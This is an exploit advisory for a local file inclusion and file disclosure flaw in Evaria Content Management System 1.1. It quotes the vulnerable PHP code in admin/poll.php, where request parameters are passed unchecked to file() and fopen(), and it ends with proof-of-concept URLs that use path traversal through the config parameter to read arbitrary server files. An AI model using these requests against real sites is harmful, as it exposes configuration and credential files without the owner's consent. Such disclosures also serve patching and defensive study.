Evaria Content Management System 1.1 – File Disclosure
# Exploit Title: local file include / File Disclosure # Date: # Author: khayeye shotor # Software Link: http://www.evaria.com/en/?view=download&dload=1 # Version: Evaria Content Management System v.1.1 # Thanks: khayeye sag , kandome mivei , sinehaye amam and all amehaye irani ----------- vul code: /path/admin/poll.php $file_contents = file("admin/".$current_poll); if (((isset($vote_logging))) && (($vote_logging == 1) || ($vote_logging == 3))) { foreach ($file_contents as $line) { if (eregi($REMOTE_ADDR, $line)) { display_form(); echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n"; echo " <TD class=\"poll_status\" align=\"center\">" . $already_voted . "</TD>\n"; echo " </TR>\n</TABLE>\n"; $set_already_voted = 1; $vote_allow = 0; break; } } } if (((isset($vote_logging))) && (($vote_logging == 2) || ($vote_logging == 3))) { if ((isset($voted)) && ($voted == "on")) { if (!$set_already_voted) { display_form(); echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n"; echo " <TD class=\"poll_status\" align=\"center\">" . $already_voted . "</TD>\n"; echo " </TR>\n</TABLE>\n"; } $vote_allow = 0; break; } } if ($vote_allow) { $poll_string = $vote . "|" . $REMOTE_ADDR . "\n"; $fp = fopen("admin/".$current_poll, "a"); $string_size = strlen($poll_string); if (fputs($fp, $poll_string, $string_size)) { display_form(); echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n"; echo " <TD class=\"poll_status\" align=\"center\">" . $vote_cast . "</TD>\n"; echo " </TR>\n</TABLE>\n"; } fclose($fp); } } break; case "default": display_form(); break; } } // Display poll form if no view is called upon... if (!isset($mode)) { display_form(); } elseif ((isset($vote) == 0) && (isset($mode))) { display_form(); echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n"; echo " <TD class=\"poll_status\" align=\"center\">" . $no_selection . "</TD>\n"; echo " </TR>\n</TABLE>\n"; } function display_form() { global $config; global $no_voting; global $QUERY_STRING; echo "<FORM name=\"poll\" action=\"?" . $QUERY_STRING . "\" method=\"post\">\n"; echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n"; echo " <TR>\n"; $answers = file("admin/".$config); ------------------------------------------------ poc: /admin/poll.php?config=../../eprint.php /admin/poll.php?config=[local file] |